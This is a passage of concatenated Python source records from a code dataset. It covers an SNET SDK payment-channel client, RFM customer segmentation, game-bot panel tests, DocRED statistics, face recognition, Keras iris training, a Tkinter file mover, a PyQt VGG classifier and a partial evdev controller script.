channel_id\n else:\n channel_id = next(iter(non_expired_unfunded_channels))[\"channel_id\"]\n _client_add_funds(channel_id, default_channel_value)\n return channel_id\n else:\n raise RuntimeError('No funded channel found. Please open a new channel or fund an open one, or set configuration parameter \"allow_transactions=True\" when creating Snet class instance')\n\n valid_channels = list(filter(lambda state: state[\"expiration\"] + client.metadata.payment_expiration_threshold > self.web3.eth.getBlock(\"latest\").number, iter(funded_channels)))\n if len(valid_channels) == 0:\n if self.allow_transactions is True:\n channel_id = next(iter(funded_channels))[\"channel_id\"]\n self.mpe_channel_extend(channel_id, default_channel_expiration)\n return channel_id\n else:\n raise RuntimeError('No non-expired channel found. Please open a new channel or extend an open and funded one, or set configuration parameter \"allow_transactions=True\" when creating Snet class instance')\n else:\n channel_id = next(iter(valid_channels))[\"channel_id\"]\n\n return channel_id\n\n\n if _channel_id is None:\n _channel_id = _get_funded_channel() \n\n\n # Import modules and add them to client grpc object\n libraries_base_path = self.libraries_base_path\n\n client_library_path = str(main_dir_path.joinpath(self.libraries_base_path, _org_id, _service_id))\n sys.path.insert(0, client_library_path)\n\n grpc_modules = []\n for module_path in Path(client_library_path).glob(\"**/*_pb2.py\"):\n grpc_modules.append(module_path)\n for module_path in Path(client_library_path).glob(\"**/*_pb2_grpc.py\"):\n grpc_modules.append(module_path)\n\n grpc_modules = list(map(\n lambda x: str(PurePath(Path(x).relative_to(client_library_path).parent.joinpath(PurePath(x).stem))),\n grpc_modules\n ))\n\n imported_modules = MutableAttributeDict({})\n for grpc_module in grpc_modules:\n imported_module = importlib.import_module(grpc_module)\n imported_modules[grpc_module] = imported_module\n\n sys.path.remove(client_library_path)\n\n\n # Service channel utility methods\n def _get_service_call_metadata(channel_id):\n state = _get_channel_state(channel_id)\n amount = state[\"current_signed_amount\"] + int(client.metadata.pricing[\"price_in_cogs\"])\n message = web3.Web3.soliditySha3(\n [\"address\", \"uint256\", \"uint256\", \"uint256\"],\n [self.mpe_contract.address, channel_id, state[\"current_nonce\"], amount]\n )\n signature = bytes(self.web3.eth.account.signHash(defunct_hash_message(message), self.signer_private_key).signature)\n metadata = [\n (\"snet-payment-type\", \"escrow\"),\n (\"snet-payment-channel-id\", str(channel_id)),\n (\"snet-payment-channel-nonce\", str(state[\"current_nonce\"])),\n (\"snet-payment-channel-amount\", str(amount)),\n (\"snet-payment-channel-signature-bin\", signature)\n ]\n\n return metadata\n\n\n # Client exports\n client.open_channel = lambda value=default_channel_value, expiration=default_channel_expiration: _client_open_channel(value, expiration)\n client.get_service_call_metadata = lambda: _get_service_call_metadata(_channel_id)\n client.grpc = imported_modules\n\n def intercept_call(client_call_details, request_iterator, request_streaming,\n response_streaming):\n metadata = []\n if client_call_details.metadata is not None:\n metadata = list(client_call_details.metadata)\n metadata.extend(client.get_service_call_metadata())\n client_call_details = _ClientCallDetails(\n client_call_details.method, client_call_details.timeout, metadata,\n client_call_details.credentials)\n return client_call_details, request_iterator, None\n\n client.grpc_channel = grpc.intercept_channel(grpc_channel, generic_client_interceptor.create(intercept_call))\n\n\n return client \n","sub_path":"snet_sdk/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":23204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"248438415","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 8 23:29:53 2020\n\n@author: USER\n\"\"\"\n\nimport pandas as pd \nimport numpy as np\nimport datetime as dt\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport datetime as dt\n\n\ndf_tr = pd.read_excel (r'Updated_dataset.xlsx', sheet_name='Transactions')\ndf_nc = pd.read_excel (r'Updated_dataset.xlsx', sheet_name='NewCustomerList')\ndf_cd = pd.read_excel (r'Updated_dataset.xlsx', sheet_name='CustomerDemographic')\ndf_ca = pd.read_excel (r'Updated_dataset.xlsx', sheet_name='CustomerAddress')\n\n#df_tr.describe()\n#df_cd.columns\n\nrfm_data=df_tr[['customer_id','transaction_date','Profit']]\n\n\nrfm_data['transaction_date'] = pd.to_datetime(rfm_data['transaction_date'])\n\n\n\n#For Monetary, Calculate sum of purchase price for each customer\n\n#rfm_data.groupby(['customer_id']).groups.keys()\n#rfm_data.groupby(['customer_id']).first()\ndf_profit=rfm_data.groupby(['customer_id'])['Profit'].sum()\n\n\n#For Frequency, Calculate the number of orders for each customer\ndf_l=df_tr.groupby(['customer_id'])['customer_id'].count().reset_index(drop=True)\ndf_l=pd.DataFrame(df_l)\ndf_profit=df_profit.reset_index()\ndf_profit=df_profit.merge(df_l, left_index=True, right_index=True, how='outer')\n\n#For Recency, Calculate the number of days between present date and\n# date of last purchase each customer\n\ndf_recency=rfm_data.groupby(['customer_id'])['transaction_date'].max()\ndf_recency=df_recency.reset_index()\nPRESENT = dt.date.today()\ndf_recency.transaction_date= pd.to_datetime(df_recency.transaction_date) \nPRESENT=pd.to_datetime(PRESENT)\n\ndf_recency.transaction_date=(PRESENT-df_recency.transaction_date)\ndf_recency.transaction_date=df_recency.transaction_date.astype(str)\ndf_recency.transaction_date = df_recency.transaction_date.apply(lambda x: int(x.split(' ')[0]))\ndf_recency.transaction_date=df_recency.transaction_date.astype(int)\n\nrfm=df_profit.merge(df_recency['transaction_date'], left_index=True, right_index=True, how='outer')\n\n#Form the RFM dataframe to analyse further\nrfm = rfm.rename(columns = {'customer_id_x': 'CustomerID', 'Profit': 'Monetary','customer_id_y': 'Frequency','transaction_date': 'Recency'}, inplace = False)\n\n#Calculate RFM score\nrfm['M'] = pd.qcut(rfm['Monetary'], 4, ['1','2','3','4'])\nrfm['F'] = pd.qcut(rfm['Frequency'], 4, ['1','2','3','4'])\nrfm['R'] = pd.qcut(rfm['Recency'], 4, ['4','3','2','1'])\n\nrfm['RFM_Segment'] = rfm.R.astype(str)+ rfm.F.astype(str) + rfm.M.astype(str)\nrfm.R=rfm.R.astype(int)\nrfm.F=rfm.F.astype(int)\nrfm.M=rfm.M.astype(int)\nrfm['RFM_Score'] = rfm[['R','F','M']].sum(axis=1)\nprint(rfm['RFM_Score'].unique())\nprint(rfm['RFM_Segment'].unique())\n\n\n# Define rfm_level function\ndef rfm_level(rfm):\n if (rfm['RFM_Segment'] >= 434 or (rfm['RFM_Score'] >= 9)) :\n return 'Platinum customers'\n elif ((rfm['RFM_Score'] >= 8) and (rfm['M'] == 4)):\n return 'Champions Big Spenders'\n elif ((rfm['RFM_Score'] >= 6) and (rfm['F'] >= 2)):\n return 'Loyal Customers'\n elif ((rfm['RFM_Segment'] >= 221) or (rfm['RFM_Score'] >= 6)):\n return 'Potential Loyalists'\n elif (((rfm['RFM_Segment'] >= 121) and (rfm['R'] == 1)) or rfm['RFM_Score'] == 5):\n return 'Needs Attention'\n elif ((rfm['RFM_Score'] >= 4) and (rfm['R'] == 1)):\n return 'Hibernating customers'\n else:\n return 'Lost Customers'\n \n# Define rfm_level function\ndef rfm_action(df):\n if (df['RFM_Segment'] >= 434 or (df['RFM_Score'] >= 9)) :\n return 'No Price Incentives; Offer Limited edition and Loyality programs'\n elif ((df['RFM_Score'] >= 8) and (df['M'] == 4)):\n return 'Upsell most expensive items'\n elif ((df['RFM_Score'] >= 6) and (df['F'] >= 2)):\n return 'Loyality programs;Cross Sell'\n elif ((df['RFM_Segment'] >= 221) or (df['RFM_Score'] >= 6)):\n return 'Cross Sell Recommendations and Discount coupons'\n elif (((df['RFM_Segment'] >= 121) and (df['R'] == 1)) or df['RFM_Score'] == 5):\n return 'Price incentives and Limited time offer'\n elif ((df['RFM_Score'] >= 4) and (df['R'] == 1)):\n return 'Aggressive price incentives'\n else:\n return 'Don\\'t spend too much trying to re-acquire'\n \n \n# Create a new variable RFM_Level\nrfm['RFM_Segment'] = rfm.RFM_Segment.apply(lambda x: int(x))\nrfm['Customer Segment'] = rfm.apply(rfm_level, axis=1)\n# Create a new variable RFM_Level\nrfm['Marketing Action'] = rfm.apply(rfm_action, axis=1)\n\n\n# Calculate average values for each Customer Segment, and return a size of each segment \nrfm_level_agg = rfm.groupby('Customer Segment').agg({\n 'Recency': 'mean',\n 'Frequency': 'mean',\n 'Monetary': ['mean', 'count'],\n 'Marketing Action': 'unique'\n}).round(1)\n# Print the aggregated dataset\nprint(rfm_level_agg)\n\nrfm_level_ag = pd.DataFrame(rfm_level_agg)\nrfm_level_ag = rfm_level_ag.reset_index()\nrfm_level_ag\n\n\n\n\n\n\n","sub_path":"KPMG/model_building.py","file_name":"model_building.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"8048361","text":"\"\"\"\ntest_panels.py\n\nTest any functionality related to the image search functionality relating to the panels within the game.\n\nPanels in the game are represented by the six buttons available at the bottom most portion of the game,\nthese panels house basically all the functionality within the game. The goal of these tests is to ensure\nthat the image searching and methods available on the bot can determine what state the game is in at all times.\n\"\"\"\nfrom settings import TEST_CONFIG_FILE, TEST_STATS_FILE\nfrom titanbot.tt2.core.bot import Bot\nfrom titanbot.tt2.core.maps import IMAGES as BOT_IMAGES\nfrom titanbot.tt2.tests.maps import IMAGES as TEST_IMAGES\n\nfrom PIL import Image\nimport unittest\n\n\nclass TestPanelBotMethods(unittest.TestCase):\n \"\"\"Test functionality related to in-game panels here.\"\"\"\n @classmethod\n def setUpClass(cls):\n \"\"\"Initialize the test case with a Bot instance for testing purposes.\"\"\"\n cls.bot = Bot(TEST_CONFIG_FILE, TEST_STATS_FILE)\n\n def test_any_panels_on_screen(self):\n \"\"\"Test that the bot can determine if any panels are currently on the screen or not.\"\"\"\n images = TEST_IMAGES[\"PANELS\"]\n exit_panel = BOT_IMAGES[\"GENERIC\"][\"exit_panel\"]\n\n # These images should contain the \"exit_panel\" image when checked.\n true = (\n images[\"artifacts_collapsed\"], images[\"artifacts_expanded\"], images[\"equipment_collapsed\"],\n images[\"equipment_expanded\"], images[\"heroes_collapsed\"], images[\"heroes_expanded\"],\n images[\"master_collapsed\"], images[\"master_expanded\"], images[\"pets_collapsed\"],\n images[\"pets_expanded\"], images[\"shop_open\"],\n )\n # These images should not contain the \"exit_panel\" image when checked.\n false = (\n images[\"no_panel_open\"],\n )\n\n for true_path in true:\n image = Image.open(true_path)\n self.bot.grabber.current = image\n self.assertTrue(self.bot.grabber.search(exit_panel, bool_only=True, testing=True))\n\n for false_path in false:\n image = Image.open(false_path)\n self.bot.grabber.current = image\n self.assertFalse(self.bot.grabber.search(exit_panel, bool_only=True, testing=True))\n\n def test_panel_collapse_on_screen(self):\n \"\"\"Test that the bot can determine if the collapse button is present on the screen.\"\"\"\n images = TEST_IMAGES[\"PANELS\"]\n collapse_panel = BOT_IMAGES[\"GENERIC\"][\"collapse_panel\"]\n\n # These images should contain the \"collapse_panel\" image when checked.\n true = (\n images[\"artifacts_expanded\"], images[\"equipment_expanded\"], images[\"heroes_expanded\"],\n images[\"master_expanded\"], images[\"pets_expanded\"],\n )\n # These images should not contain the \"collapse_panel\" image when checked.\n false = (\n images[\"artifacts_collapsed\"], images[\"equipment_collapsed\"], images[\"heroes_collapsed\"],\n images[\"master_collapsed\"], images[\"no_panel_open\"], images[\"shop_open\"],\n )\n\n for true_path in true:\n image = Image.open(true_path)\n self.bot.grabber.current = image\n self.assertTrue(self.bot.grabber.search(collapse_panel, bool_only=True, testing=True))\n\n for false_path in false:\n image = Image.open(false_path)\n self.bot.grabber.current = image\n self.assertFalse(self.bot.grabber.search(collapse_panel, bool_only=True, testing=True))\n\n def test_panel_expand_on_screen(self):\n \"\"\"Test that the bot can determine if the expand button is present on the screen.\"\"\"\n images = TEST_IMAGES[\"PANELS\"]\n expand_panel = BOT_IMAGES[\"GENERIC\"][\"expand_panel\"]\n\n # These images should contain the \"expand_panel\" image when checked.\n true = (\n images[\"artifacts_collapsed\"], images[\"equipment_collapsed\"], images[\"heroes_collapsed\"],\n images[\"master_collapsed\"],\n )\n # These images should not contain the \"expand_panel\" image when checked.\n false = (\n images[\"artifacts_expanded\"], images[\"equipment_expanded\"], images[\"heroes_expanded\"],\n images[\"master_expanded\"], images[\"pets_expanded\"], images[\"no_panel_open\"],\n images[\"shop_open\"]\n )\n\n for true_path in true:\n image = Image.open(true_path)\n self.bot.grabber.current = image\n self.assertTrue(self.bot.grabber.search(expand_panel, bool_only=True, testing=True))\n\n for false_path in false:\n image = Image.open(false_path)\n self.bot.grabber.current = image\n self.assertFalse(self.bot.grabber.search(expand_panel, bool_only=True, testing=True))\n\n def test_panel_buy_options(self):\n \"\"\"Test that the bot can determine if the different buy option buttons are present on the screen.\"\"\"\n images = (\n TEST_IMAGES[\"PANELS\"][\"master_buy_option_open_collapsed\"],\n TEST_IMAGES[\"PANELS\"][\"master_buy_option_open_collapsed\"],\n )\n\n # These images should all be present in the images above.\n buy_options = (\n BOT_IMAGES[\"GENERIC\"][\"buy_max\"], BOT_IMAGES[\"GENERIC\"][\"buy_one\"],\n BOT_IMAGES[\"GENERIC\"][\"buy_one_hundred\"], BOT_IMAGES[\"GENERIC\"][\"buy_ten\"],\n BOT_IMAGES[\"GENERIC\"][\"max\"],\n )\n\n for path in images:\n image = Image.open(path)\n self.bot.grabber.current = image\n for find in buy_options:\n self.assertTrue(self.bot.grabber.search(find, bool_only=True, testing=True))\n","sub_path":"titanbot/tt2/tests/test_panels.py","file_name":"test_panels.py","file_ext":"py","file_size_in_byte":5625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"608151270","text":"import json\nimport numpy as np\n\ndata_dir = 'E:/workspace/repo/DocRED/code/prepro_data/'\n\n\ndef get_dist(h_vertex, t_vertex):\n min_d = 620\n for h_m in h_vertex:\n for t_m in t_vertex:\n d = abs(h_m['pos'][0] - t_m['pos'][0])\n min_d = min(min_d, d)\n return min_d\n\n\ndef number_of_pos_neg_triplets():\n from collections import defaultdict\n for split in ['train', 'dev', 'test']:\n counter = 0\n all_counter = 0\n for ex in json.load(open(data_dir+f\"dev_{split}.json\")):\n labels = defaultdict(list)\n for label in ex['labels']:\n labels[(label['h'], label['t'])].append(label['r'])\n counter += len(labels)\n all_counter += (len(ex['vertexSet'])*(len(ex['vertexSet'])-1))\n\n print(f\"{split}: all: {all_counter}, pos: {counter}, neg: {all_counter-counter}\")\n\n\ndef sent_avg_len():\n sent_lens = []\n for split in ['train', 'dev', 'test']:\n for ex in json.load(open(data_dir+f\"dev_{split}.json\")):\n sent_lens.extend([len(sent) for sent in ex['sents']])\n print(np.mean(sent_lens)) # 24.88\n\n\ndef coref_short_proportion():\n true_file = json.load(open(data_dir+f\"dev_train.json\"))\n all_counter = 0\n coref = [0]*2\n dist = [0]*2\n for idx, ins in enumerate(true_file):\n vertexSet = ins['vertexSet']\n for label in ins['labels']:\n key = f\"{idx}_{label['h']}_{label['t']}\"\n if len(vertexSet[label['h']]) > 1 or len(vertexSet[label['t']]) > 1:\n coref[0] += 1\n else:\n coref[1] += 1\n if 0 <= get_dist(vertexSet[label['h']], vertexSet[label['t']]) <= 25:\n dist[0] += 1\n else:\n dist[1] += 1\n all_counter += 1\n\n print(f\"all: {all_counter}, {coref[0]/float(all_counter)}({coref[0]}/{all_counter})\")\n print(f\"all: {all_counter}, {dist[0]/float(all_counter)}({dist[0]}/{all_counter})\")\n # dev\n # all: 12323, 0.5931185587925019(7309/12323) 60% have co-references\n # all: 12323, 0.6469203927615029(7972/12323) 65% short; 35% long distance\n # train\n # all: 38180, 0.5930330015715034(22642/38180) 60%\n # all: 38180, 0.639732844421163(24425/38180) 64%\n\n\ndef entity_type_combinations():\n h_t_entity_type_combs = set()\n for split in ['train', 'dev']:\n data = json.load(open(f\"{data_dir}dev_{split}.json\"))\n for ex in data:\n v = ex['vertexSet']\n for label in ex['labels']:\n h_idx, t_idx = label['h'], label['t']\n for h_m in v[h_idx]:\n for t_m in v[t_idx]:\n h_t_entity_type_combs.add((h_m['type'], t_m['type']))\n h_t_entity_type_combs = list(map(list, h_t_entity_type_combs))\n print(len(h_t_entity_type_combs))\n json.dump(h_t_entity_type_combs, open(f'{data_dir}DocRED_h_t_entity_type_combs_{len(h_t_entity_type_combs)}.json', 'w'), indent=2)\n\n\nentity_type_combinations()\n# num_vertex = []\n# for split in ['train', 'dev', 'test']:\n# for ex in json.load(open(data_dir+f\"dev_{split}.json\")):\n# num_vertex.append(len(ex['vertexSet']))\n#\n# print(f\"avg: {np.mean(num_vertex)}\")\n\n# number_of_pos_neg_triplets()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"pre-processing/DocRED/gen_data_DocRED.py","file_name":"gen_data_DocRED.py","file_ext":"py","file_size_in_byte":3245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"74132277","text":"import numpy as np\nimport cv2\nimport pickle\n\nface_cascade = cv2.CascadeClassifier('data/haarcascade_frontalface_alt2.xml')\nrecognizer = cv2.face.LBPHFaceRecognizer_create()\nrecognizer.read(\"trainer.yml\")\n\nlabels = {\"person_name\": 0}\nwith open(\"labels.pickle\", 'rb') as f:\n oglabels = pickle.load(f)\n labels = {v:k for k,v in oglabels.items()}\n\ncap = cv2.VideoCapture(0)\n\ndef rescale_frame(frame, percent=50):\n width = int(frame.shape[1] * percent/ 100)\n height = int(frame.shape[0] * percent/ 100)\n dim = (width, height)\n return cv2.resize(frame, dim, interpolation = cv2.INTER_AREA)\n\n\nwhile True:\n ret, frame = cap.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, scaleFactor=1.5, minNeighbors=5)\n for(x, y, w, h) in faces:\n roi_gray = gray[y:y+h, x:x+w]\n roi_color = frame[y:y+h, x:x+w]\n\n id_, conf = recognizer.predict(roi_gray)\n if conf>=55:\n print(labels[id_])\n font = cv2.FONT_HERSHEY_SIMPLEX\n name = labels[id_]\n color = (255, 255, 255)\n stroke = 1\n cv2.putText(frame, name, (x,y), font, 1, color, stroke, cv2.LINE_AA)\n\n img_item = 'my-image.png'\n cv2.imwrite(img_item, roi_gray)\n\n color = (255, 0, 0)\n stroke = 2\n width = x + w\n height = y + h\n cv2.rectangle(frame, (x, y), (width, height), color, stroke)\n\n frame50 = rescale_frame(frame, percent=75)\n cv2.imshow('frame', frame50)\n\n if cv2.waitKey(20) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"176672318","text":"import tensorflow as tf\nimport os\nimport matplotlib.pyplot as plt\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nfrom sklearn import datasets\niris=datasets.load_iris()\nX=iris.data\ny=iris.target\nimport pandas as pd\ndf_features= pd.DataFrame(X)\ndf_features\ndf_target= pd.DataFrame(y)\ndf_target\n\nfrom sklearn.model_selection import train_test_split\n#split train test dataset\nX_train, X_test, y_train, y_test=train_test_split(X,y,test_size=0.2)\n\n#report folder\nif (not(os.path.isdir(\"report\"))):\n os.mkdir(\"report\")\n\n# Define Sequential model with 3 layers\nmodel = keras.Sequential(\n [\n layers.Dense(4, activation=\"relu\", name=\"layer1\"),\n layers.Dense(3, activation=\"relu\", name=\"layer2\"),\n layers.Dense(1, name=\"layer3\", activation=\"sigmoid\"),\n ]\n)\n\n#compiler model\nloss_fn = tf.keras.losses.mean_squared_error\nopt = keras.optimizers.Adam(learning_rate=0.01)\nmodel.compile(optimizer=keras.optimizers.get(opt), loss= loss_fn)\nhistory = model.fit(X_train, y_train, epochs=100, verbose=2)\n\n# printing summary\nfstructure = open(\"report/structure.txt\", \"w\")\nmodel.summary(print_fn=lambda x: fstructure.write(x + '\\n'))\nfstructure.close()\n\n# evaluation\nlosses = history.history['loss']\nepochs = history.epoch\n\nplt.plot(epochs, losses)\nplt.xlabel(\"epochs\")\nplt.ylabel('losses')\nplt.title('Loss per Epoch')\nplt.show()\nplt.savefig('report/history.png')\nfmetrics = open(\"report/metrics.txt\", \"w\")\nfmetrics.write('Initial loss value : '+ str(losses[0]) + \"\\n\")\nfmetrics.write('Final loss value : ' + str(losses[-1]))\nfmetrics.close()\n\n# saving\nmodel.save('report/weights.h5')\n\n","sub_path":"Training.py","file_name":"Training.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"405640465","text":"import tkinter as tk\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import filedialog\nimport shutil, os, stat, time, datetime, glob, sqlite3\nfrom datetime import timedelta\n\n#Define class\n\nclass FileCheck():\n #Frame is the Tkinter frame class that our own class will inherit from\n\n\n def __init__(self, master):\n \n\n\n\n #Initialize your class and Tkinter master-level frame\n #define the master frame configuration\n self.master = master\n self.master.minsize(500, 300) #setting (Height, Width)\n\n # This CenterWindow method will center the app on the user's screen\n self.master.title(\"File Transfer\")\n self.master.configure(background=\"lightblue\")\n\n self.t1 = StringVar()\n self.t2 = StringVar()\n self.t3 = StringVar() \n \n self.button1 = ttk.Button(self.master, text = \"Folder to update daily from.\", width =\n 30, command = self.inputFolder)\n self.button1.pack()\n self.txt1 = ttk.Entry(self.master, width = 50, textvariable = self.t1).pack()\n\n self.button2 = ttk.Button(self.master, text = \"Folder to update daily to\", width = 30,\n command = self.outputFolder)\n self.button2.pack()\n self.txt2 = ttk.Entry(self.master, width = 50, textvariable = self.t2).pack()\n\n self.button3 = ttk.Button(self.master, text = \"Transfer everything modified in the past 24 hours\",\n width = 50, command = self.transfer)\n self.button3.pack()\n self.Label = ttk.Label(text = \"Last File Check time\")\n self.txt3 = ttk.Entry(self.master, width = 50, textvariable = self.t3).pack()\n\n def inputFolder(self):\n folderInput = filedialog.askdirectory()\n print(\"folderInput: {}\".format(folderInput))\n self.t1.set(folderInput)\n\n def outputFolder(self):\n folderOutput = filedialog.askdirectory()\n print(\"folderOutput: {}\".format(folderOutput))\n self.t2.set(folderOutput)\n\n def transfer(self):\n fileFrom = self.t1.get()\n fileTo = self.t2.get()\n today1 = datetime.datetime.today()\n last24Hours = str(today1 - timedelta(hours=24))\n print(today1)\n\n for file in glob.glob(os.path.join(fileFrom, '*.txt')):\n epochDate = os.path.getmtime(file)\n modifiedDate = datetime.datetime.fromtimestamp(int(epochDate)).strftime('%Y-%m-%d %H:%M:%S')\n if modifiedDate > last24Hours:\n shutil.move(file, fileTo)\n self.t3.set(today1)\n dbToday = time.time()\n print(\"dbToday: {}\".format(dbToday))\n self.data_entry(dbToday) #don't use global variables! It is better to pass in today to your database function\n\n def create_table(self):\n conn = sqlite3.connect('transfersDate.db')\n with conn:\n c = conn.cursor()\n c.execute(\"CREATE TABLE IF NOT EXISTS date (time REAL)\")\n conn.commit()\n conn.close()\n\n def data_entry(self,dbToday):\n conn = sqlite3.connect('transfersDate.db')\n with conn:\n c = conn.cursor()\n c.execute(\"INSERT INTO date (time) VALUES(?)\"\"\",(dbToday))\n conn.commit()\n c.close()\n conn.close() \n\ndef main():\n\n root = Tk()\n App = FileCheck(root)\n root.mainloop()\n \n \nif __name__ == \"__main__\": main()\n","sub_path":"PyDrill_db_34_idle.py","file_name":"PyDrill_db_34_idle.py","file_ext":"py","file_size_in_byte":3679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"51197542","text":"#\n# BSD 3-Clause License\n#\n# Copyright (c) 2017 xxxx\n# All rights reserved.\n# Copyright 2021 Huawei Technologies Co., Ltd\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# * Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n# ============================================================================\n#\nimport argparse\nimport json\nimport sys\n\nimport torch\nimport torchvision.transforms as transforms\nfrom PIL import Image\nfrom PyQt5 import QtWidgets, QtGui\nfrom PyQt5.QtWidgets import *\n\nfrom vgg_pytorch import VGG\nimport torch.npu\nimport os\nNPU_CALCULATE_DEVICE = 0\nif os.getenv('NPU_CALCULATE_DEVICE') and str.isdigit(os.getenv('NPU_CALCULATE_DEVICE')):\n NPU_CALCULATE_DEVICE = int(os.getenv('NPU_CALCULATE_DEVICE'))\nif torch.npu.current_device() != NPU_CALCULATE_DEVICE:\n torch.npu.set_device(f'npu:{NPU_CALCULATE_DEVICE}')\n\nparser = argparse.ArgumentParser(\"VGGNet Classifier Tool\")\nparser.add_argument(\"-w\", \"--model_name\", type=str, default='vgg11',\n help=\"Weight of the model loaded by default.\")\nparser.add_argument(\"-s\", \"--image_size\", type=int, default=None,\n help=\"Size of classified image. (default=None).\")\nparser.add_argument(\"-l\", \"--labels_map\", type=str, default=\"./labels_map.txt\",\n help=\"Image tag. (default='./labels_map.txt').\")\nparser.add_argument(\"-n\", \"--num_classes\", type=int, default=1000,\n help=\"Number of categories of images. (default=1000).\")\nparser.add_argument(\"-p\", \"--echo\", type=bool, default=False,\n help=\"Show pop ups or not? (default: False)\")\nargs = parser.parse_args()\n\n\ndef classifier(image_path):\n # Open image\n img = Image.open(image_path)\n img = tfms(img).unsqueeze(0)\n\n # Classify with VGGNet\n with torch.no_grad():\n logits = model(img)\n preds = torch.topk(logits, k=1).indices.squeeze(0).tolist()\n\n for idx in preds:\n label = labels_map[idx]\n probability = torch.softmax(logits, dim=1)[0, idx].item()\n return label, probability\n\n\nclass Picture(QWidget):\n def __init__(self):\n super(Picture, self).__init__()\n\n self.resize(1000, 1000)\n self.setWindowTitle(\"Classifier tool\")\n\n self.label = QLabel(self)\n self.label.setFixedSize(args.image_size, args.image_size)\n self.label.move(300, 300)\n self.label.setStyleSheet(\n \"QLabel{background:white;}\"\n \"QLabel{color:rgb(0,0,0);font-size:18px;font-weight:bold;font-family:瀹嬩綋;}\"\n )\n\n # add open image button\n self.btn_open_img = QPushButton(self)\n self.btn_open_img.setText(\"Open image\")\n self.btn_open_img.move(10, 30)\n self.btn_open_img.clicked.connect(self.openimage)\n\n # add open popup window button\n self.btn_open_popup_window = QPushButton(self)\n self.btn_open_popup_window.setText(\"open popup window\")\n self.btn_open_popup_window.move(10, 200)\n self.btn_open_popup_window.clicked.connect(self.open_popup_window)\n\n # add close popup window button\n self.btn_close_popup_window = QPushButton(self)\n self.btn_close_popup_window.setText(\"close popup window\")\n self.btn_close_popup_window.move(10, 300)\n self.btn_close_popup_window.clicked.connect(self.close_popup_window)\n\n @staticmethod\n def open_popup_window():\n args.echo = True\n\n @staticmethod\n def close_popup_window():\n args.echo = False\n\n def openimage(self):\n img_name, _ = QFileDialog.getOpenFileName(self, \"Open image\", \"\", \"*.jpg;;*.png;;All Files(*)\")\n img = QtGui.QPixmap(img_name).scaled(args.image_size, args.image_size)\n self.label.setPixmap(img)\n text, prob = classifier(img_name)\n print(\"------------------------------\")\n print(f\"Label: {text:<75}\")\n print(f\"Probability: {prob:.6f}.\")\n print(\"------------------------------\")\n if args.echo:\n self.echo(str(text), prob)\n\n def echo(self, text, prob):\n QMessageBox.information(\n self, \"Message\",\n f\"Label :{str(text):<75}\\nProbability: {prob:.6f}\")\n\n\nif __name__ == \"__main__\":\n model = VGG.from_pretrained(args.model_name)\n model.eval()\n if args.image_size is None:\n args.image_size = VGG.get_image_size(args.model_name)\n # Preprocess image\n tfms = transforms.Compose([\n transforms.Resize(args.image_size),\n transforms.CenterCrop(args.image_size),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),\n ])\n\n # Load class names\n labels_map = json.load(open(args.labels_map))\n labels_map = [labels_map[str(i)] for i in range(args.num_classes)]\n\n app = QtWidgets.QApplication(sys.argv)\n my = Picture()\n my.show()\n sys.exit(app.exec_())\n","sub_path":"PyTorch/dev/cv/image_classification/VGGNet_ID0400_for_PyTorch/examples/simple/qt.py","file_name":"qt.py","file_ext":"py","file_size_in_byte":5952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"347876431","text":"\"\"\"\nController display (shows what inputs are used) for Logitech F310 using the DPad on Ubuntu 18.04.\n\"\"\"\n\nimport evdev\nimport curses\n\ndevice_name = \"/dev/input/event12\"\ndevice = evdev.InputDevice(device_name)\n\n# # Dicts for user reference. I don't use the values these 